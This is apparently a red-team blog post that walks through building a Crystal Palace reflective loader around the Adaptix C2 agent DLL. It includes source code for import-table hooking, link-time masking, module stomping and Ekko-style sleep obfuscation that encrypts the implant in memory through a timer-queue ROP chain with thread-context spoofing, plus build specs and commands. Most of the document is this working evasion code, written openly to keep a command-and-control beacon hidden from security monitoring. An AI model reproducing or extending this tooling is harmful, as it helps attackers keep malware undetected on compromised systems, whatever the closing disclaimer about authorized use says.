Contents

Sleeping Beauty: Putting Adaptix to Bed with Crystal Palace

Sleeping Beauty: Putting Adaptix to Bed with Crystal Palace

A tale of relocations, ROP chains, and the quest to make an Adaptix beacon sleep gracefully.


Table of Contents


Introduction

Adaptix C2 ships a default agent DLL. Out of the box, it’s a standard PE - it gets loaded into memory with RWX permissions everywhere, no IAT hooking, no sleep obfuscation, nothing fancy. If you’re doing red team work, that’s basically walking into a SOC with a neon sign that reads “PLEASE DETECT ME.”

This blog documents the journey of taking that default Adaptix agent DLL and wrapping it in a Crystal Palace Reflective DLL Loader (RDLL) that, in its current form:

  1. Fixes section permissions - so the DLL’s .text is RX, .data is RW, etc. - like a properly loaded PE.
  2. Hooks the Import Address Table - intercepts key wait/synchronization and IPC APIs (WaitForSingleObject(Ex), WaitForMultipleObjects, ConnectNamedPipe) using Crystal Palace’s PICO mechanism.
  3. Implements Ekko-style sleep/idle obfuscation - encrypts the DLL image in memory around long waits using a timer queue ROP chain with proper per-section permission restoration and thread-context spoofing.

Every step came with its own set of spectacular failures. Let’s walk through them all.


The Setup

Crystal Palace

Crystal Palace is a toolchain for building position-independent code (PIC) from standard COFF object files. It has its own linker (./link), a spec language for describing how to assemble PIC blobs, and a concept called PICOs - persistent PIC objects that stay resident in memory alongside the loaded DLL. Key Crystal Palace concepts:

ConceptDescription
make pic +gofirstTurn a COFF into PIC with go() as the entry point
make objectTurn a COFF into a PICO (persistent resident object)
mergeMerge another COFF into the current one
attach "MODULE$Func" "hook"Rewrite all references to Func in the PIC to point to hook
addhook "MODULE$Func" "hook"Register hook for runtime lookup via __resolve_hook()
exportfuncExport a function from a PICO for the loader to call
MODULE$FunctionConvention for declaring Win32 API imports (e.g., KERNEL32$VirtualProtect)

Project Structure

src/
  loader.c       # Main PIC loader - loads/stomps PICO and DLL, fixes permissions
  hooks.c        # Wait*/ConnectNamedPipe hooks with Ekko-style obfuscation
  hooks.h        # Hook types, Ekko API, NT structures and imports
  pico.c         # PICO - GetProcAddress hook + setup_hooks + set_image_info
  services.c     # API resolution via hash walking (Crystal Palace DFR front-end)
  stomp.c        # Sacrificial DLL/PICO stomping logic
  stomp.h        # Stomping types and helpers
  loader.h       # PE parsing helpers (GetExport, DLLDATA, IMPORTFUNCS, etc.)
  tcg.h          # Crystal Palace intrinsics

crystal_palace/specs/
  loader.spec    # Main PIC build spec (masking + stomp + PICO link)
  pico.spec      # PICO build spec (hooks + Ekko)
  services.spec  # Services build spec

src_service/     # Adaptix Service Extender integration (build pipeline hook)
loader/          # EXE/DLL/SVC wrappers and includes (uses Shellcode.h)
demo/src/run.c   # Optional standalone test harness
Makefile         # COFF build targets for the loader side

Compilation

Everything is cross-compiled from Linux with MinGW:

CC_64=x86_64-w64-mingw32-gcc
CFLAGS=-DWIN_X64 -shared -Wall -Wno-pointer-arith -mno-stack-arg-probe -fno-zero-initialized-in-bss

Those last two flags? We’ll get to why they’re necessary. Spoiler: Crystal Palace PIC has opinions about your stack probes and BSS sections.


Chapter 1: Preparing Adaptix - Forcing the WaitForSingleObject Import

The PEB Walk Problem

Before we can hook anything, Crystal Palace needs to see the import in the DLL’s Import Address Table (IAT). The problem: Adaptix’s default agent didn’t use a normal WaitForSingleObject import. Instead, it resolved WaitForSingleObject at runtime via a PEB walk in ApiLoader.cpp:

ApiWin->WaitForSingleObject = (decltype(WaitForSingleObject)*)GetSymbolAddress(hKernel32Module, HASH_FUNC_WAIT_FOR_SINGLE_OBJECT);

GetSymbolAddress walks the PEB’s InMemoryOrderModuleList, finds kernel32.dll, and manually resolves the export by hash. This means WaitForSingleObject never appears in the DLL’s import table - Crystal Palace’s addhook has nothing to intercept.

The Fix

We changed the PEB walk to a direct import reference:

ApiWin->WaitForSingleObject = &WaitForSingleObject;

By taking the address of WaitForSingleObject directly, the compiler generates a proper IAT entry for kernel32!WaitForSingleObject in the DLL’s import table. Now when our Crystal Palace loader calls ProcessImports(), the hooked GetProcAddress sees "WaitForSingleObject" and can redirect it to our _WaitForSingleObject/_WaitForSingleObjectEx hooks via __resolve_hook().

Why this matters: Crystal Palace’s hooking mechanism (addhook + __resolve_hook) works at import resolution time. If the function is resolved via PEB walking instead of the IAT, there’s no import to intercept. Forcing a real import for the wait primitive is the prerequisite for everything that follows.

Chapter 2: The Art of Hooking - Crystal Palace IAT Hooks via PICO

The Goal

We want to intercept specific Win32 API calls made by the Adaptix DLL - in the current design, the long-running waits and SMB pipe connect paths - and redirect them to our own implementations that wrap Ekko-style obfuscation around the blocking operation.

How Crystal Palace Hooking Works

Crystal Palace provides two mechanisms:

  1. attach - Rewrites references within the PIC itself (compile-time patching).
  2. addhook - Registers a function for runtime lookup via __resolve_hook() (ROR13 hash-based).

For IAT hooking of a loaded DLL, we use addhook. The trick: we hook GetProcAddress itself using attach, so that when the loader calls ProcessImports() to resolve the DLL’s imports, our hooked GetProcAddress checks each import against the registered hooks.

The PICO Architecture

The hooks live in a PICO (Crystal Palace object) - a separate COFF that’s loaded into its own allocation and stays resident alongside the DLL. This is critical because:

  • The main PIC (loader) is transient - it runs go() and its memory gets freed.
  • The hooks need to persist for the lifetime of the DLL.
  • PICOs can have .data sections (globals), whereas the main PIC cannot handle .data relocations.

pico.c - The Hook Resolver

#include <windows.h>
#include "tcg.h"

extern PVOID g_ImageBase;  /* defined in hooks.c, shared via merge */
extern DWORD g_ImageSize;
extern VOID  ResolveHookFunctions(VOID);

FARPROC WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
    /* skip ordinal imports */
    if ((ULONG_PTR)lpProcName > 0xFFFF) {
        FARPROC hook = __resolve_hook(ror13hash(lpProcName));
        if (hook) return hook;
    }
    /* no hook - call the real GetProcAddress */
    return GetProcAddress(hModule, lpProcName);
}

void setup_hooks(IMPORTFUNCS *funcs) {
    funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
}

void set_image_info(PVOID base, DWORD size) {
    g_ImageBase = base;
    g_ImageSize = size;
    ResolveHookFunctions(); /* resolve original Wait*/ConnectNamedPipe/Ekko helpers once */
}

When the DLL’s import table is processed, every import goes through _GetProcAddress. If __resolve_hook() finds a registered hook (via the ROR13 hash of the function name), it returns the hook pointer. Otherwise, the real GetProcAddress is called.

pico.spec - Building the PICO

Current PICO spec (trimmed to the important bits):

x64:

  load "../../build/pico.x64.o"
    make object +optimize +disco +mutate +regdance +blockparty
  
  load "../../build/hooks.x64.o"
    merge

  mergelib "../../crystal_palace/libtcg.x64.zip"

  exportfunc "setup_hooks" "__tag_setup_hooks"
  exportfunc "set_image_info" "__tag_set_image_info"

  addhook "KERNEL32$WaitForSingleObjectEx" "_WaitForSingleObjectEx"
  addhook "KERNEL32$WaitForSingleObject"   "_WaitForSingleObject"
  addhook "KERNEL32$WaitForMultipleObjects" "_WaitForMultipleObjects"
  addhook "KERNEL32$ConnectNamedPipe"      "_ConnectNamedPipe"
  
  export

Key points (current architecture):

  • make object - creates a PICO (not PIC).
  • merge - merges hooks.c into the same PICO so they share globals and Ekko state.
  • addhook - registers the wait/IPC hooks so __resolve_hook(ror13hash("WaitForSingleObjectEx")) etc. returns our wrappers.
  • exportfunc - makes setup_hooks and set_image_info callable from the loader; set_image_info also triggers one-time resolution of the original APIs and Ekko helpers.

loader.spec - The Main PIC

The loader spec evolved to add binary masking, code stomping and heavy instruction-level mutation. Condensed, the important bits now look like:

x64:
	
	load "../../build/loader.x64.o"
		make pic +gofirst +optimize +mutate +disco +regdance +blockparty +shatter

	load "../../build/stomp.x64.o"
		merge

	run "../../crystal_palace/specs/services.spec"

	run "../../crystal_palace/specs/pico.spec"
		link "pico"

	# Generate a random key and mask the embedded DLL at link time
	generate $KEY 128

	push $DLL
		xor $KEY
		preplen
		link "dll"

	push $KEY
		preplen
		link "mask"

	export

Notice: no hooks.x64.o merged here, and no direct attach of Sleep. All hook code lives in the PICO, and only the DLL’s imports are intercepted at resolution time via the hooked GetProcAddress.

The Loader Flow

void go(void) {
    IMPORTFUNCS funcs;
    funcs.LoadLibraryA   = LoadLibraryA;
    funcs.GetProcAddress = GetProcAddress;

    /* 1. Load the PICO */
    char *pico_src = GETRESOURCE(_PICO_);
    PICO *pico_dst = KERNEL32$VirtualAlloc(NULL, sizeof(PICO), ...);
    PicoLoad(&funcs, pico_src, pico_dst->code, pico_dst->data);
    KERNEL32$VirtualProtect(pico_dst->code, PicoCodeSize(pico_src), PAGE_EXECUTE_READ, &old);

    /* 2. Install hooks - rewrites funcs.GetProcAddress */
    ((SETUP_HOOKS)PicoGetExport(pico_src, pico_dst->code, __tag_setup_hooks()))(&funcs);

    /* 3. Load the DLL */
    char *dll_src = GETRESOURCE(_DLL_);
    DLLDATA dll_data;
    ParseDLL(dll_src, &dll_data);
    char *dll_dst = KERNEL32$VirtualAlloc(NULL, SizeOfDLL(&dll_data), ..., PAGE_READWRITE);
    LoadDLL(&dll_data, dll_src, dll_dst);
    ProcessImports(&funcs, &dll_data, dll_dst); /* hooks kick in here! */

    /* 4. Tell Ekko where the DLL lives */
    ((SET_IMAGE_INFO)PicoGetExport(pico_src, pico_dst->code, __tag_set_image_info()))
        (dll_dst, SizeOfDLL(&dll_data));

    /* 5. Fix permissions & run */
    fix_section_permissions(&dll_data, dll_dst);
    KERNEL32$FlushInstructionCache((HANDLE)-1, dll_dst, SizeOfDLL(&dll_data));
    EntryPoint(&dll_data, dll_dst)((HINSTANCE)dll_dst, DLL_PROCESS_ATTACH, NULL);
}

Chapter 3: Sleeping Beauty - Ekko Sleep Obfuscation

The Concept

Ekko is a sleep obfuscation technique by Cracked5pider. The idea:

  1. When the beacon sleeps, encrypt the entire DLL image in memory.
  2. Sleep for the requested duration.
  3. Decrypt the DLL image and resume execution.

During the sleep window, the DLL’s memory is garbled - a memory scanner sees nothing but random bytes.

The ROP Chain

Ekko uses CreateTimerQueueTimer + NtContinue to build a ROP chain entirely from timer callbacks. Each “ROP gadget” is actually a full CONTEXT struct with Rip, Rcx, Rdx, etc. set to call a specific function. In the current implementation the chain is:

StepFunctionPurpose
0WaitForSingleObject(hEvtStart, INFINITE)Gate: block the timer thread until we’re ready to run the chain
1GetThreadContext(MainThread, &CtxBkp)Backup the real main thread context
2SetThreadContext(MainThread, &CtxSpf)Install spoofed context from a random thread
3VirtualProtectChange DLL to PAGE_READWRITE
4SystemFunction032RC4-encrypt the DLL image
5WaitForSingleObjectEx / WaitForMultipleObjects / ConnectNamedPipeExecute the original wait/IPC operation
6SystemFunction032RC4-decrypt the DLL image (same key = toggle)
7restore_section_permissionsWalk PE sections, apply correct per-section protections
8SetThreadContext(MainThread, &CtxBkp)Restore original main thread context
9SetEvent(hEvtEnd)Signal completion to the waiting thread

Each step is dispatched by setting up a CONTEXT struct and having NtContinue load it via a timer callback. The timers are staggered 100ms apart so they execute in order; a capture phase using RtlCaptureContext runs first to obtain a clean template context for all frames.

The Implementation

VOID EkkoObf(DWORD SleepTime)
{
    CONTEXT CtxThread;
    CONTEXT RopProtRW, RopMemEnc, RopDelay, RopMemDec, RopFixSec, RopSetEvt;

    /* zero all contexts via memset - NOT { 0 } initializers! (see Chapter 4) */
    MSVCRT$memset(&CtxThread, 0, sizeof(CONTEXT));
    MSVCRT$memset(&RopProtRW, 0, sizeof(CONTEXT));
    /* ... repeat for all ... */

    /* RC4 key */
    CHAR KeyBuf[16];
    MSVCRT$memset(KeyBuf, 0x55, 16);

    USTRING Key, Img;
    MSVCRT$memset(&Key, 0, sizeof(USTRING));
    MSVCRT$memset(&Img, 0, sizeof(USTRING));

    /* resolve ntdll!NtContinue, ntdll!RtlCaptureContext, advapi32!SystemFunction032 */
    HMODULE hNtdll  = KERNEL32$GetModuleHandleA("ntdll");
    HMODULE hAdvapi = KERNEL32$LoadLibraryA("Advapi32");

    fnNtContinue        pNtContinue       = (fnNtContinue)KERNEL32$GetProcAddress(hNtdll, "NtContinue");
    fnRtlCaptureContext pRtlCaptureContext = (fnRtlCaptureContext)KERNEL32$GetProcAddress(hNtdll, "RtlCaptureContext");
    fnSystemFunction032 pSysFunc032        = (fnSystemFunction032)KERNEL32$GetProcAddress(hAdvapi, "SystemFunction032");

    /* setup USTRING descriptors */
    Key.Buffer = KeyBuf;  Key.Length = Key.MaximumLength = 16;
    Img.Buffer = g_ImageBase;  Img.Length = Img.MaximumLength = g_ImageSize;

    HANDLE hEvent      = KERNEL32$CreateEventW(0, 0, 0, 0);
    HANDLE hTimerQueue = KERNEL32$CreateTimerQueue();

    /* Step 0: capture context via timer callback */
    HANDLE hNewTimer;
    KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue,
        (WAITORTIMERCALLBACK)pRtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD);
    KERNEL32$WaitForSingleObject(hEvent, 0x32); /* 50ms wait for capture */

    /* Clone captured context into each ROP frame, then set registers */
    MSVCRT$memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
    RopProtRW.Rsp -= 8;
    RopProtRW.Rip  = (DWORD64)KERNEL32$VirtualProtect;
    RopProtRW.Rcx  = (DWORD64)g_ImageBase;
    RopProtRW.Rdx  = (DWORD64)g_ImageSize;
    RopProtRW.R8   = PAGE_READWRITE;
    RopProtRW.R9   = (DWORD64)&OldProtect;

    /* ... same pattern for encrypt, sleep, decrypt ... */

    /* Step 7: restore_section_permissions - our custom function, not VirtualProtect */
    MSVCRT$memcpy(&RopFixSec, &CtxThread, sizeof(CONTEXT));
    RopFixSec.Rsp -= 8;
    RopFixSec.Rip  = (DWORD64)restore_section_permissions;

    /* Step 9: SetEvent - signal completion */
    MSVCRT$memcpy(&RopSetEvt, &CtxThread, sizeof(CONTEXT));
    RopSetEvt.Rsp -= 8;
    RopSetEvt.Rip  = (DWORD64)KERNEL32$SetEvent;
    RopSetEvt.Rcx  = (DWORD64)hEvent;

    /* Queue all timers staggered 100ms apart */
    KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue,
        (WAITORTIMERCALLBACK)pNtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD);
    /* ... 200, 300, 400 for encrypt, sleep, decrypt ... */
    KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue,
        (WAITORTIMERCALLBACK)pNtContinue, &RopFixSec, 500, 0, WT_EXECUTEINTIMERTHREAD);
    KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue,
        (WAITORTIMERCALLBACK)pNtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD);

    /* Block until the chain signals completion */
    KERNEL32$WaitForSingleObject(hEvent, INFINITE);

    KERNEL32$DeleteTimerQueue(hTimerQueue);
}

The key difference from the original Ekko: step 5 calls restore_section_permissions() - our custom function that walks the PE section table - instead of a blanket VirtualProtect to PAGE_EXECUTE_READWRITE. See Chapter 5 for why this was necessary.

The Wait/Sync Hooks

Instead of patching Sleep directly, the current PICO hooks the underlying wait/synchronization and IPC APIs that the Adaptix agent uses (WaitForSingleObjectEx, WaitForSingleObject, WaitForMultipleObjects, ConnectNamedPipe). Each wrapper decides whether to invoke Ekko based on the timeout and then either calls the original function or runs the obfuscation chain:

DWORD _WaitForSingleObjectEx(HANDLE hHandle, DWORD dwMilliseconds, BOOL bAlertable) {
    if (!g_pWaitForSingleObjectEx) { /* ... error path ... */ }

    WAIT_FOR_SINGLE_OBJECT_EX_ARGS WaitArgs = { hHandle, dwMilliseconds, bAlertable, g_pWaitForSingleObjectEx };
    if (dwMilliseconds < 1000) {
        /* short waits: no obfuscation, call the real function */
        return g_pWaitForSingleObjectEx(hHandle, dwMilliseconds, bAlertable);
    }

    /* long waits: run Ekko and simulate completion */
    HOOK_ARGS Args = { .WaitForSingleObjectExArgs = WaitArgs };
    EkkoObf(WAIT_FOR_SINGLE_OBJECT_EX, &Args);
    return WAIT_OBJECT_0;
}

DWORD _WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds) {
    return _WaitForSingleObjectEx(hHandle, dwMilliseconds, FALSE);
}

DWORD _WaitForMultipleObjects(DWORD nCount, const HANDLE *lpHandles, BOOL bWaitAll, DWORD dwMilliseconds) {
    if (!g_pWaitForMultipleObjects) { /* ... */ }
    if (dwMilliseconds <= 200) {
        return g_pWaitForMultipleObjects(nCount, lpHandles, bWaitAll, dwMilliseconds);
    }
    WAIT_FOR_MULTIPLE_OBJECTS_ARGS WaitArgs = { nCount, lpHandles, bWaitAll, dwMilliseconds, g_pWaitForMultipleObjects };
    HOOK_ARGS Args = { .WaitForMultipleObjectsArgs = WaitArgs };
    EkkoObf(WAIT_FOR_MULTIPLE_OBJECTS, &Args);
    return Args.WaitForMultipleObjectsArgs.returnValue;
}

BOOL _ConnectNamedPipe(HANDLE hPipe, LPOVERLAPPED lpOverlapped) {
    if (!g_pConnectNamedPipe) { /* ... */ }
    CONNECT_NAMED_PIPE_ARGS ConnectArgs = { hPipe, lpOverlapped, g_pConnectNamedPipe };
    HOOK_ARGS Args = { .ConnectNamedPipeArgs = ConnectArgs };
    EkkoObf(CONNECT_NAMED_PIPE, &Args);
    return TRUE;
}

When the Adaptix DLL calls any of these functions with a long enough timeout, the call path is intercepted via the IAT, the DLL image is encrypted, the wait/IPC operation is executed inside the ROP chain, and then the image is decrypted and its section permissions restored before control returns.

Communicating the DLL Image Region

EkkoObf needs to know where the DLL is in memory and how large it is. These are stored as globals in hooks.c:

PVOID  g_ImageBase = NULL;
DWORD  g_ImageSize = 0;

The loader sets them after mapping the DLL via the exported set_image_info PICO function:

/* In loader.c, after LoadDLL + ProcessImports */
((SET_IMAGE_INFO)PicoGetExport(pico_src, pico_dst->code, __tag_set_image_info()))
    (dll_dst, SizeOfDLL(&dll_data));

Both pico.c and hooks.c are merged into the same PICO, so they share the globals.


Chapter 4: The Gauntlet of Linker Errors

This chapter is where we lost the most blood. Crystal Palace’s PIC linker is strict about what relocations it can handle - and rightfully so, since PIC must be fully position-independent by definition.

Error 1: ___chkstk_ms Relocation

[-] Can't process relocation for ___chkstk_ms @ 0xf7 <EkkoObf+0x8> in pico.spec (x64)

Cause: EkkoObf declares 7 CONTEXT structs on the stack. Each CONTEXT is ~1232 bytes on x64, totaling ~8.5 KB. When a function’s stack frame exceeds 4 KB (one page), MSVC and MinGW insert a call to ___chkstk_ms - a runtime helper that “probes” each stack page to trigger guard page exceptions and grow the stack gradually.

The problem: ___chkstk_ms is a CRT function. In PIC, there’s no CRT - the call creates an unresolvable relocation.

Fix: Add -mno-stack-arg-probe to the compiler flags. This tells GCC to skip the stack probe entirely. This is safe in our context because:

  • We’re running in a thread that already has a large stack.
  • The 8.5 KB is well under the typical default stack reserve (1 MB).
CFLAGS=-DWIN_X64 -shared -Wall -Wno-pointer-arith -mno-stack-arg-probe

Error 2: .bss Relocation

[-] Can't process relocation for .bss @ 0xa9f <EkkoObf+0x111> in loader.spec (x64)

Cause: The = { 0 } initializers on the CONTEXT structs and USTRING structs:

CONTEXT CtxThread = { 0 };  /* ← generates .bss reference */

When GCC sees = { 0 }, it places the zero-initialization pattern in .bss (zero-initialized data section) and generates a memcpy/memset from .bss to the stack. This .bss reference becomes a relocation Crystal Palace can’t process.

Fix: Remove = { 0 } initializers and use explicit memset calls:

/* BAD - .bss relocation */
CONTEXT CtxThread = { 0 };

/* GOOD - runtime zeroing, no .bss reference */
CONTEXT CtxThread;
MSVCRT$memset(&CtxThread, 0, sizeof(CONTEXT));

Same for the key buffer:

/* BAD */
CHAR KeyBuf[16] = { 0x55, 0x55, ... };

/* GOOD */
CHAR KeyBuf[16];
MSVCRT$memset(KeyBuf, 0x55, 16);

Error 4: -fno-zero-initialized-in-bss

Even after the memset fix, some zero-initialized globals (g_ImageBase = NULL, g_ImageSize = 0) were still being placed in .bss by GCC. Adding -fno-zero-initialized-in-bss forces them into .data:

CFLAGS=... -fno-zero-initialized-in-bss

Rule of thumb for Crystal Palace PIC:

  • No = { 0 } initializers on structs - use memset.
  • No string literals - use stack strings.
  • No CRT calls (___chkstk_ms) - use -mno-stack-arg-probe.
  • No .bss references - use -fno-zero-initialized-in-bss.
  • Globals with .data relocations → keep them in PICOs, not in the main PIC.

Chapter 5: The BOF Crash - Per-Section Permission Restore

Everything worked - until the Adaptix agent tried to run a BOF (Beacon Object File). Instant crash.

The original Ekko implementation used a simple VirtualProtect call as ROP step 5 to restore PAGE_EXECUTE_READWRITE over the entire image after decryption. This is a blanket permission - every section gets RWX regardless of what it actually needs.

The problem: some sections - particularly .data and .rdata - must not have execute permission. When the agent loads a BOF, it writes into .data-style memory. If that memory has PAGE_EXECUTE_READWRITE instead of PAGE_READWRITE, the BOF’s internal relocations and memory operations hit unexpected guard pages or alignment issues, causing the crash.

Final Architecture

┌─────────────────────────────────────────────┐
         loader PIC (go)                     
  1. Load/stomp PICO into sacrificial DLL    
  2. Call setup_hooks()                      
      hooks GetProcAddress                  
  3. Unmask Adaptix DLL resource             
  4. Load/stomp Adaptix DLL into memory      
  5. ProcessImports (hooks active)           
  6. set_image_info(base, size)              
  7. fix_section_permissions()               
  8. Protect PE headers & flush cache        
  9. Call DLLMAIN(base, DLL_PROCESS_ATTACH)  
 10. Call DLLMAIN(go,   0x4)                 
└──────────────────┬──────────────────────────┘
                    stays resident
                   
┌──────────────────────────────────────────────┐
             PICO (resident)                  
  ┌───────────────────────────────────┐       
   pico.c                                   
    _GetProcAddress()                       
    setup_hooks()                           
    set_image_info() + Resolve*()           
  └───────────────────────────────────┘       
  ┌───────────────────────────────────┐       
   hooks.c (merged)                         
    g_ImageBase, g_ImageSize                
    EkkoObf(HOOK_TYPE, HOOK_ARGS)           
      VirtualProtect(RW)                   
      SystemFunction032(encrypt)           
      WaitFor*/ConnectNamedPipe            
      SystemFunction032(decrypt)           
      restore_section_permissions          
      SetEvent(done)                       
  └───────────────────────────────────┘       
└──────────────────────────────────────────────┘
                    hooked imports
                   
┌─────────────────────────────────────────────┐
        Adaptix Agent DLL                    
  .text   PAGE_EXECUTE_READ                 
  .rdata  PAGE_READONLY                     
  .data   PAGE_READWRITE                    
  Wait*/ConnectNamedPipe  EkkoObf chain     
└─────────────────────────────────────────────┘

Building & Linking

Makefile

The current Makefile builds into build/ and includes the new stomp module:

CC_64=x86_64-w64-mingw32-gcc
NASM=nasm
CFLAGS=-DWIN_X64 -shared -Wall -Wno-pointer-arith -mno-stack-arg-probe -fno-zero-initialized-in-bss

all: build/loader.x64.o build/hooks.x64.o build/pico.x64.o build/services.x64.o build/stomp.x64.o

build:
	mkdir -p build

build/loader.x64.o: build
	$(CC_64) $(CFLAGS) -c src/pico.c -o build/pico.x64.o
	$(CC_64) $(CFLAGS) -c src/loader.c -o build/loader.x64.o
	$(CC_64) $(CFLAGS) -c src/stomp.c -o build/stomp.x64.o
	$(CC_64) $(CFLAGS) -c src/services.c -o build/services.x64.o
	$(CC_64) $(CFLAGS) -c src/hooks.c -o build/hooks.x64.o

clean:
	rm -f build/*.o build/*.bin output/*
# Compile COFF objects
make clean && make all

# Link with Crystal Palace (from repo root)
./crystal_palace/link crystal_palace/specs/loader.spec /path/to/agent.x64.dll build/agent.bin

Compile the Test Harness

x86_64-w64-mingw32-gcc -DWIN_X64 demo/src/run.c -o run.x64.exe -lws2_32

Run

.\run.x64.exe agent.bin

Adaptix Integration via Service Extenders (src_service)

In practice you rarely run this loader in isolation. The src_service/ directory contains an Adaptix Service Extender implementation that wires the Crystal Palace pipeline directly into the Adaptix build flow (see the Adaptix documentation on service extenders for details).

At a high level there are two integration paths:

  • Via Adaptix Service Extenders: drop the extender into Adaptix, enable it, and let it hook the agent build pipeline. When Adaptix builds an agent DLL, the extender runs the COFF compilation + Crystal Palace link step + wrapper build, so the final agent already embeds the Crystal Palace RDLL.
  • By hooking the original build: alternatively, you can keep Adaptix unmodified and add a post-build hook (similar to the flow described in the README) that takes the freshly built agent DLL, runs it through this repository’s Makefile + crystal_palace/specs/loader.spec, and replaces or wraps the output for deployment.

Both approaches converge on the same artifact shape: a hardened wrapper (exe / dll / svc) whose .text section contains the Crystal Palace PIC built from this repo, and whose behavior matches the architecture described above.

Conclusion

What started as a simple Adaptix source-code change - swapping a PEB walk for a direct WaitForSingleObject import - turned into a full Crystal Palace RDLL with IAT hooking and Ekko-style sleep obfuscation. Along the way, we:

  • Modified Adaptix’s ApiLoader to force long-running waits through clean, IAT-visible call paths so Crystal Palace could safely intercept them.
  • Fixed 3 bugs in the section permission fixer (invalid page protections, wrong size field for BSS sections, state leaking between iterations).
  • Built a PICO-based hooking architecture where GetProcAddress itself is hijacked to intercept DLL imports at resolution time, and where long waits on WaitForSingleObject(Ex), WaitForMultipleObjects and ConnectNamedPipe are routed through Ekko.
  • Implemented Ekko-style obfuscation with a timer-queue-driven ROP chain using NtContinue, now extended with thread-context spoofing and a dedicated restore_section_permissions() step to apply correct per-section protections after each cycle.
  • Fixed BOF crashes by replacing the blanket PAGE_EXECUTE_READWRITE restore with a custom function that walks the PE section table and applies the correct protection flags per section.

The beauty of this setup is that our Adaptix DLL has no idea anything changed. It calls its normal wait/IPC primitives, and behind the scenes, its entire memory image gets encrypted, the process waits, and everything comes back—with each section having exactly the right permissions—like nothing happened. Sleeping Beauty indeed.


Disclaimer: This research is for educational and authorized red team purposes only. Always obtain proper authorization before using these techniques.